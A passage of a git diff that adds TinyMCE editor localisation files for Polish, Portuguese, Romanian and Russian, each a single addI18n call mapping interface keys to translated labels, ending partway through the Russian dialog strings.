Kopiuj/Wytnij/Wklej nie s\u0105 dost\u0119pne w Mozilli i Firefox.\nCzy chcesz wi\u0119cej informacji o tym problemie?","blockquote_desc":"Blok cytatu","help_desc":"Pomoc","newdocument_desc":"Nowy dokument","image_props_desc":"W\u0142a\u015bciwo\u015bci obrazka","paste_desc":"Wklej (Ctrl V)","copy_desc":"Kopiuj (Ctrl C)","cut_desc":"Wytnij (Ctrl X)","anchor_desc":"Wstaw/edytuj kotwic\u0119","visualaid_desc":"Prze\u0142\u0105cz widoczno\u015b\u0107 wska\u017anik\u00f3w i niewidocznych element\u00f3w","charmap_desc":"Wstaw znak specjalny","backcolor_desc":"Wybierz kolor t\u0142a","forecolor_desc":"Wybierz kolor tekstu","custom1_desc":"Tw\u00f3j niestandardowy opis tutaj","removeformat_desc":"Usu\u0144 formatowanie","hr_desc":"Wstaw poziom\u0105 lini\u0119","sup_desc":"Indeks g\u00f3rny","sub_desc":"Indeks dolny","code_desc":"Edytuj \u017ar\u00f3d\u0142o HTML","cleanup_desc":"Wyczy\u015b\u0107 nieuporz\u0105dkowany kod","image_desc":"Wstaw/edytuj obraz","unlink_desc":"Usu\u0144 link","link_desc":"Wstaw/edytuj link","redo_desc":"Pon\u00f3w (Ctrl+Y)","undo_desc":"Cofnij (Ctrl+Z)","indent_desc":"Wci\u0119cie","outdent_desc":"Cofnij wci\u0119cie","numlist_desc":"Lista numerowana","bullist_desc":"Lista nienumerowana","justifyfull_desc":"R\u00f3wnanie do prawej i lewej","justifyright_desc":"Wyr\u00f3wnaj do prawej","justifycenter_desc":"Wycentruj","justifyleft_desc":"Wyr\u00f3wnaj do lewej","striketrough_desc":"Przekre\u015blenie","help_shortcut":"Wci\u015bnij Alt F10 aby pokaza\u0107 pasek narz\u0119dzi. Wci\u015bnij Alt 0 aby otworzy\u0107 pomoc","rich_text_area":"Pole tekstowe","shortcuts_desc":"Pomoc dost\u0119pno\u015bci",toolbar:"Pasek narz\u0119dzi","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/pl_dlg.js b/js/tiny_mce2/themes/advanced/langs/pl_dlg.js new file mode 100755 index 0000000..e1ba93c --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advanced_dlg',{"link_list":"Lista link\u00f3w","link_is_external":"URL kt\u00f3ry otworzy\u0142e\u015b wydaje si\u0119 by\u0107 zewn\u0119trznym linkiem, czy chcesz doda\u0107 wymagany prefiks http:// ?","link_is_email":"URL kt\u00f3ry otworzy\u0142e\u015b wydaje si\u0119 by\u0107 adresem mailowym, czy chcesz doda\u0107 odpowiedni prefiks mailto:?","link_titlefield":"Tytu\u0142","link_target_blank":"Otw\u00f3rz link w nowym oknie","link_target_same":"Otw\u00f3rz link w tym samym oknie","link_target":"Cel","link_url":"URL linka","link_title":"Wstaw/edytuj link","image_align_right":"Prawy","image_align_left":"Lewy","image_align_textbottom":"Dolny tekst","image_align_texttop":"G\u00f3rny tekst","image_align_bottom":"D\u00f3\u0142","image_align_middle":"\u015arodek","image_align_top":"G\u00f3ra","image_align_baseline":"Linia bazowa","image_align":"Wyr\u00f3wnanie","image_hspace":"Odst\u0119p poziomy","image_vspace":"Odst\u0119p pionowy","image_dimensions":"Rozmiary","image_alt":"Opis obrazka","image_list":"Lista obrazk\u00f3w","image_border":"Obramowanie","image_src":"URL obrazka","image_title":"Wstaw/edytuj obraz","charmap_title":"Wybierz niestandardowy znak","colorpicker_name":"Nazwa:","colorpicker_color":"Kolor:","colorpicker_named_title":"Nazwane kolory","colorpicker_named_tab":"Nazwane","colorpicker_palette_title":"Paleta kolor\u00f3w","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Wybieranie kolor\u00f3w","colorpicker_picker_tab":"Wybieranie","colorpicker_title":"Wybierz kolor","code_wordwrap":"Zawijanie s\u0142\u00f3w","code_title":"Edytor \u017ar\u00f3d\u0142a HTML","anchor_name":"Nazwa zakotwiczenia","anchor_title":"Wstaw/Edytuj zakotwiczenie","about_loaded":"Za\u0142adowane wtyczki","about_version":"Wersja","about_author":"Autor","about_plugin":"Wtyczka","about_plugins":"Wtyczki","about_license":"Licencja","about_help":"Pomoc","about_general":"O TinyMCE","about_title":"O TinyMCE","charmap_usage":"U\u017cywaj strza\u0142ek w lewo i w prawo do nawigacji.","anchor_invalid":"Prosz\u0119 poda\u0107 w\u0142a\u015bciw\u0105 nazw\u0119 zakotwiczenia.","accessibility_help":"Pomoc dost\u0119pno\u015bci","accessibility_usage_title":"Og\u00f3lne zastosowanie","invalid_color_value":"Nieprawid\u0142owa warto\u015b\u0107 koloru"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/pt.js b/js/tiny_mce2/themes/advanced/langs/pt.js new file mode 100755 index 0000000..48d17b1 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/pt.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advanced',{"underline_desc":"Sublinhado (Ctrl+U)","italic_desc":"It\u00e1lico (Ctrl+I)","bold_desc":"Negrito (Ctrl+B)",dd:"Descri\u00e7\u00e3o da defini\u00e7\u00e3o",dt:"Termo da defini\u00e7\u00e3o",samp:"Amostra de c\u00f3digo",code:"C\u00f3digo",blockquote:"Cita\u00e7\u00e3o em bloco",h6:"T\u00edtulo 6",h5:"T\u00edtulo 5",h4:"T\u00edtulo 4",h3:"T\u00edtulo 3",h2:"T\u00edtulo 2",h1:"T\u00edtulo 1",pre:"Pr\u00e9-formatado",address:"Endere\u00e7o",div:"Div",paragraph:"Par\u00e1grafo",block:"Formata\u00e7\u00e3o",fontdefault:"Tipo de fonte","font_size":"Tamanho","style_select":"Estilos","anchor_delta_width":"30","link_delta_height":"25","link_delta_width":"50","more_colors":"Mais cores","toolbar_focus":"Ir para as ferramentas - Alt+Q, Ir para o editor - Alt-Z, Ir para o endere\u00e7o do elemento - Alt-X",newdocument:"Tem a certeza que deseja apagar tudo?",path:"Endere\u00e7o","clipboard_msg":"Copiar/recortar/colar n\u00e3o est\u00e1 dispon\u00edvel no Mozilla e Firefox. Deseja mais informa\u00e7\u00f5es sobre este problema?","blockquote_desc":"Cita\u00e7\u00e3o em bloco","help_desc":"Ajuda","newdocument_desc":"Novo documento","image_props_desc":"Propriedades da imagem","paste_desc":"Colar","copy_desc":"Copiar","cut_desc":"Recortar","anchor_desc":"Inserir/editar \u00e2ncora","visualaid_desc":"Alternar guias/elementos invis\u00edveis","charmap_desc":"Inserir caracteres especiais","backcolor_desc":"Selecionar a cor de fundo","forecolor_desc":"Selecionar a cor do texto","custom1_desc":"Insira aqui a sua descri\u00e7\u00e3o personalizada","removeformat_desc":"Remover formata\u00e7\u00e3o","hr_desc":"Inserir separador horizontal","sup_desc":"Superior \u00e0 linha","sub_desc":"Inferior \u00e0 linha","code_desc":"Editar c\u00f3digo fonte","cleanup_desc":"Limpar c\u00f3digo incorreto","image_desc":"Inserir/editar imagem","unlink_desc":"Remover hyperlink","link_desc":"Inserir/editar hyperlink","redo_desc":"Refazer (Ctrl+Y)","undo_desc":"Desfazer (Ctrl+Z)","indent_desc":"Aumentar recuo","outdent_desc":"Diminuir recuo","numlist_desc":"Numera\u00e7\u00e3o","bullist_desc":"Marcadores","justifyfull_desc":"Justificar","justifyright_desc":"Alinhar \u00e0 direita","justifycenter_desc":"Centralizar","justifyleft_desc":"Alinhar \u00e0 esquerda","striketrough_desc":"Riscado","help_shortcut":"Pressione ALT-F10 para barra de ferramentas. Pressione ALT-0 para ajuda","rich_text_area":"\u00c1rea de edi\u00e7\u00e3o rica","shortcuts_desc":"Ajuda acessibilidade",toolbar:"Barra de ferramentas","anchor_delta_height":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/pt_dlg.js b/js/tiny_mce2/themes/advanced/langs/pt_dlg.js new file mode 100755 index 0000000..313a012 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advanced_dlg',{"link_list":"Lista de Links","link_is_external":"A URL digitada parece conduzir a um link externo. Deseja acrescentar o prefixo necess\u00e1rio http://?","link_is_email":"A URL digitada parece ser um endere\u00e7o de e-mail. Deseja acrescentar o prefixo necess\u00e1rio mailto:?","link_titlefield":"T\u00edtulo","link_target_blank":"Abrir hyperlink em nova janela","link_target_same":"Abrir hyperlink na mesma janela","link_target":"Alvo","link_url":"URL do hyperink","link_title":"Inserir/editar hyperlink","image_align_right":"Direita","image_align_left":"Esquerda","image_align_textbottom":"Base do texto","image_align_texttop":"Topo do texto","image_align_bottom":"Abaixo","image_align_middle":"Meio","image_align_top":"Topo","image_align_baseline":"Sobre a linha de texto","image_align":"Alinhamento","image_hspace":"Espa\u00e7o Horizontal","image_vspace":"Espa\u00e7o Vertical","image_dimensions":"Dimens\u00f5es","image_alt":"Descri\u00e7\u00e3o da imagem","image_list":"Lista de imagens","image_border":"Limites","image_src":"Endere\u00e7o da imagem","image_title":"Inserir/editar imagem","charmap_title":"Selecionar caracteres personalizados","colorpicker_name":"Nome:","colorpicker_color":"Cor:","colorpicker_named_title":"Cores Personalizadas","colorpicker_named_tab":"Personalizadas","colorpicker_palette_title":"Paleta de Cores","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Editor de Cores","colorpicker_picker_tab":"Editor","colorpicker_title":"Selecione uma cor","code_wordwrap":"Quebra autom\u00e1tica de linha","code_title":"Editor HTML","anchor_name":"Nome da \u00e2ncora","anchor_title":"Inserir/editar \u00e2ncora","about_loaded":"Plugins Instalados","about_version":"Vers\u00e3o","about_author":"Autor","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"Licen\u00e7a","about_help":"Ajuda","about_general":"Sobre","about_title":"Sobre o TinyMCE","charmap_usage":"Use as setas esquerda e direita para navegar.","anchor_invalid":"Por favor, especifique um nome v\u00e1lido de \u00e2ncora.","accessibility_help":"Ajuda de Acessibilidade","accessibility_usage_title":"Uso Geral","invalid_color_value":"Valor da cor inv\u00e1lido"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ro.js b/js/tiny_mce2/themes/advanced/langs/ro.js new file mode 100755 index 0000000..88899a8 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ro.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advanced',{"underline_desc":"Subliniat (Ctrl+U)","italic_desc":"Italic (Ctrl+I)","bold_desc":"\u00cengro\u0219at (Ctrl B)",dd:"Defini\u021bie",dt:"Termen definit ",samp:"Mostr\u0103 de cod",code:"Cod",blockquote:"Citat",h6:"Titlu 6",h5:"Titlu 5",h4:"Titlu 4",h3:"Titlu 3",h2:"Titlu 2",h1:"Titlu 1",pre:"Preformatat",address:"Adres\u0103",div:"Div",paragraph:"Paragraf",block:"Format",fontdefault:"Familie font","font_size":"M\u0103rime font","style_select":"Stiluri","more_colors":"Mai multe culori...","toolbar_focus":"Salt la instrumente - Alt Q, Salt la editor - Alt-Z, Salt la cale - Alt-X",newdocument:"Sigur vrei s\u0103 \u0219tergi tot?",path:"Cale","clipboard_msg":"Copierea/t\u0103ierea/lipirea nu sunt disponibile \u00een Mozilla \u0219i Firefox.\nVrei mai multe informa\u021bii despre aceast\u0103 problem\u0103?","blockquote_desc":"Citat","help_desc":"Ajutor","newdocument_desc":"Document nou","image_props_desc":"Detalii imagine","paste_desc":"Lipe\u0219te","copy_desc":"Copiaz\u0103","cut_desc":"Taie","anchor_desc":"Inserare/editare ancor\u0103","visualaid_desc":"Comut\u0103 ghidajele/elementele invizibile","charmap_desc":"Inserare caracter special","backcolor_desc":"Culoare fundal","forecolor_desc":"Culoare text","custom1_desc":"Introdu aici o descriere","removeformat_desc":"Anuleaz\u0103 formatarea","hr_desc":"Insereaz\u0103 linie orizontal\u0103","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"Editare surs\u0103 HTML","cleanup_desc":"Cur\u0103\u021b\u0103 codul","image_desc":"Inserare/editare imagine","unlink_desc":"\u0218terge leg\u0103tura","link_desc":"Inserare/editare leg\u0103tur\u0103","redo_desc":"Ref\u0103 (Ctrl+Y)","undo_desc":"Undo (Ctrl+Z)","indent_desc":"Indenteaz\u0103","outdent_desc":"De-indenteaz\u0103","numlist_desc":"List\u0103 ordonat\u0103","bullist_desc":"List\u0103 neordonat\u0103","justifyfull_desc":"Aliniere pe toat\u0103 l\u0103\u021bimea","justifyright_desc":"Aliniere la dreapta","justifycenter_desc":"Centrare","justifyleft_desc":"Aliniere la st\u00e2nga","striketrough_desc":"T\u0103iat","help_shortcut":"Apas\u0103 ALT-F10 pentru bara de unelte. Apas\u0103 ALT-0 pentru ajutor","rich_text_area":"Zon\u0103 de text formatat","shortcuts_desc":"Ajutor accesabilitate",toolbar:"Bar\u0103 de unelte","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ro_dlg.js b/js/tiny_mce2/themes/advanced/langs/ro_dlg.js new file mode 100755 index 0000000..f89c76a --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advanced_dlg',{"link_list":"Lista de leg\u0103turi","link_is_external":"URL-ul pe care l-ai introdus pare a fi o leg\u0103tur\u0103 extern\u0103. Vrei s\u0103 adaug \u0219i prefixul http:// necesar?","link_is_email":"URL-ul pe care l-ai introdus pare a fi o adres\u0103 de e-mail. Vrei s\u0103 adaug \u0219i prefixul mailto: necesar?","link_titlefield":"Titlu","link_target_blank":"Deschide leg\u0103tura \u00eentr-o fereastr\u0103 nou\u0103","link_target_same":"Deschide leg\u0103tura \u00een aceea\u0219i fereastr\u0103","link_target":"\u021aint\u0103","link_url":"URL leg\u0103tur\u0103","link_title":"Inserare/editare leg\u0103tur\u0103","image_align_right":"Dreapta","image_align_left":"St\u00e2nga","image_align_textbottom":"Textul la mijloc","image_align_texttop":"Textul sus","image_align_bottom":"Jos","image_align_middle":"La mijloc","image_align_top":"Sus","image_align_baseline":"Baseline","image_align":"Aliniere","image_hspace":"Spa\u021biu orizontal","image_vspace":"Spa\u021biu vertical","image_dimensions":"Dimensiuni","image_alt":"Descriere imagine","image_list":"List\u0103 de imagini","image_border":"Bordur\u0103","image_src":"URL imagine","image_title":"Insereaz\u0103/editeaz\u0103 o imagine","charmap_title":"Alege un caracter special","colorpicker_name":"Nume:","colorpicker_color":"Culoare:","colorpicker_named_title":"Culori denumite","colorpicker_named_tab":"Denumite","colorpicker_palette_title":"Palet\u0103 de culori","colorpicker_palette_tab":"Palet\u0103","colorpicker_picker_title":"Pipet\u0103 de culori","colorpicker_picker_tab":"Pipet\u0103","colorpicker_title":"Alege o culoare","code_wordwrap":"\u00cencadrare cuvinte","code_title":"Editor surs\u0103 HTML","anchor_name":"Nume ancor\u0103","anchor_title":"Inserare/editare ancor\u0103","about_loaded":"Module \u00eenc\u0103rcate","about_version":"Versiune","about_author":"Autor","about_plugin":"Modul","about_plugins":"Module","about_license":"Licen\u021b\u0103","about_help":"Ajutor","about_general":"Despre","about_title":"Despre TinyMCE","charmap_usage":"Folose\u0219te s\u0103ge\u021bile st\u00e2nga \u0219i dreapta pentru navigare.","anchor_invalid":"Te rog specific\u0103 un nume valid de ancor\u0103.","accessibility_help":"Ajutor pentru accesibilitate","accessibility_usage_title":"Uz general"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ru.js b/js/tiny_mce2/themes/advanced/langs/ru.js new file mode 100755 index 0000000..85fe899 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ru.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.advanced',{"underline_desc":"\u041f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u0442\u044b\u0439 (Ctrl+U)","italic_desc":"\u041a\u0443\u0440\u0441\u0438\u0432 (Ctrl+I)","bold_desc":"\u041f\u043e\u043b\u0443\u0436\u0438\u0440\u043d\u044b\u0439 (Ctrl+B)",dd:"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a\u0430",dt:"\u0422\u0435\u0440\u043c\u0438\u043d \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a\u0430",samp:"\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430",code:"\u041a\u043e\u0434",blockquote:"\u0426\u0438\u0442\u0430\u0442\u0430",h6:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",h5:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",h4:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",h3:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",h2:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",h1:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",pre:"\u041f\u0440\u0435\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439",address:"\u0410\u0434\u0440\u0435\u0441",div:"Div",paragraph:"\u0410\u0431\u0437\u0430\u0446",block:"\u0424\u043e\u0440\u043c\u0430\u0442",fontdefault:"\u0428\u0440\u0438\u0444\u0442","font_size":"\u0420\u0430\u0437\u043c\u0435\u0440","style_select":"\u0421\u0442\u0438\u043b\u044c","more_colors":"\u0414\u0440\u0443\u0433\u0438\u0435 \u0446\u0432\u0435\u0442\u0430...","toolbar_focus":"\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043f\u0430\u043d\u0435\u043b\u044c \u043a\u043d\u043e\u043f\u043e\u043a (Alt+Q). \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0443 (Alt+Z). \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0443 \u043f\u0443\u0442\u0438 (Alt+X).",newdocument:"\u0412\u044b \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e \u0445\u043e\u0442\u0438\u0442\u0435 \u0432\u0441\u0435 \u0443\u0434\u0430\u043b\u0438\u0442\u044c?",path:"\u0422\u0435\u0433\u0438","clipboard_msg":"\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u0432\u044b\u0440\u0435\u0437\u043a\u0430 \u0438 \u0432\u0441\u0442\u0430\u0432\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0432 Firefox. \u0425\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e?","blockquote_desc":"\u0426\u0438\u0442\u0430\u0442\u0430","help_desc":"\u041f\u043e\u043c\u043e\u0449\u044c","newdocument_desc":"\u041d\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442","image_props_desc":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f","paste_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c","copy_desc":"\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c","cut_desc":"\u0412\u044b\u0440\u0435\u0437\u0430\u0442\u044c","anchor_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c/\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u044f\u043a\u043e\u0440\u044c","visualaid_desc":"\u0412\u0441\u0435 \u0437\u043d\u0430\u043a\u0438","charmap_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u043c\u0432\u043e\u043b","backcolor_desc":"\u0426\u0432\u0435\u0442 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0442\u0435\u043a\u0441\u0442\u0430","forecolor_desc":"\u0426\u0432\u0435\u0442 \u0442\u0435\u043a\u0441\u0442\u0430","custom1_desc":"\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435","removeformat_desc":"\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442","hr_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0447\u0435\u0440\u0442\u0443","sup_desc":"\u041d\u0430\u0434\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439","sub_desc":"\u041f\u043e\u0434\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439","code_desc":"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c HTML \u043a\u043e\u0434","cleanup_desc":"\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u043b\u0438\u0448\u043d\u0438\u0439 \u043a\u043e\u0434","image_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c/\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435","unlink_desc":"\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443","link_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c/\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443","redo_desc":"\u0412\u0435\u0440\u043d\u0443\u0442\u044c (Ctrl+Y)","undo_desc":"\u041e\u0442\u043c\u0435\u043d\u0438\u0442\u044c (Ctrl+Z)","indent_desc":"\u0423\u0432\u0435\u043b\u0438\u0447\u0438\u0442\u044c \u043e\u0442\u0441\u0442\u0443\u043f","outdent_desc":"\u0423\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u043e\u0442\u0441\u0442\u0443\u043f","numlist_desc":"\u041d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a","bullist_desc":"\u041c\u0430\u0440\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a","justifyfull_desc":"\u041f\u043e \u0448\u0438\u0440\u0438\u043d\u0435","justifyright_desc":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","justifycenter_desc":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","justifyleft_desc":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","striketrough_desc":"\u0417\u0430\u0447\u0435\u0440\u043a\u043d\u0443\u0442\u044b\u0439","help_shortcut":"\u041d\u0430\u0436\u043c\u0438\u0442\u0435 ALT-F10 \u0434\u043b\u044f \u043f\u0430\u043d\u0435\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u041d\u0430\u0436\u043c\u0438\u0442\u0435 ALT-0 \u0434\u043b\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0438.","rich_text_area":"\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440","shortcuts_desc":"\u041f\u043e\u043c\u043e\u0449\u044c \u043f\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438",toolbar:"\u041f\u0430\u043d\u0435\u043b\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ru_dlg.js b/js/tiny_mce2/themes/advanced/langs/ru_dlg.js new file mode 100755 index 0000000..cc39783 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.advanced_dlg',{"link_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0441\u044b\u043b\u043e\u043a","link_is_external":"\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u044e\u044e \u0441\u0441\u044b\u043b\u043a\u0443, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0435\u0444\u0438\u043a\u0441 http://?","link_is_email":"\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u0443\u044e \u043f\u043e\u0447\u0442\u0443, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0435\u0444\u0438\u043a\u0441 mailto:?","link_titlefield":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a","link_target_blank":"\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u043d\u043e\u0432\u043e\u043c \u043e\u043a\u043d\u0435","link_target_same":"\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u044d\u0442\u043e\u043c \u043e\u043a\u043d\u0435","link_target":"\u0426\u0435\u043b\u044c","link_url":"\u0410\u0434\u0440\u0435\u0441","link_title":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0441\u044b\u043b\u043a\u0438","image_align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_left":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_textbottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0430","image_align_texttop":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0430","image_align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_middle":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","image_align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_baseline":"\u041f\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438","image_align":"\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435","image_hspace":"\u0413\u043e\u0440\u0438\u0437. \u043e\u0442\u0441\u0442\u0443\u043f","image_vspace":"\u0412\u0435\u0440\u0442. \u043e\u0442\u0441\u0442\u0443\u043f","image_dimensions":"\u0420\u0430\u0437\u043c\u0435\u0440","image_alt":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435","image_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u043a\u0430\u0440\u0442\u0438\u043d\u043e\u043a","image_border":"\u0413\u0440\u0430\u043d\u0438\u0446\u0430","image_src":"\u0410\u0434\u0440\u0435\u0441","image_title":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f","charmap_title":"\u0412\u044b\u0431\u043e\u0440 \u0441\u0438\u043c\u0432\u043e\u043b\u0430","colorpicker_name":"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435:","colorpicker_color":"\u041a\u043e\u0434:","colorpicker_named_title":"\u0426\u0432\u0435\u0442\u0430","colorpicker_named_tab":"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u044f","colorpicker_palette_title":"\u0426\u0432\u0435\u0442\u0430","colorpicker_palette_tab":"\u041f\u0430\u043b\u0438\u0442\u0440\u0430","colorpicker_picker_title":"\u0426\u0432\u0435\u0442\u0430","colorpicker_picker_tab":"\u0421\u043f\u0435\u043a\u0442\u0440","colorpicker_title":"\u0426\u0432\u0435\u0442\u0430","code_wordwrap":"\u041f\u0435\u0440\u0435\u043d\u043e\u0441 \u0441\u0442\u0440\u043e\u043a","code_title":"\u0420\u0435\u0434\u0430\u043a\u0442\u043e\u0440 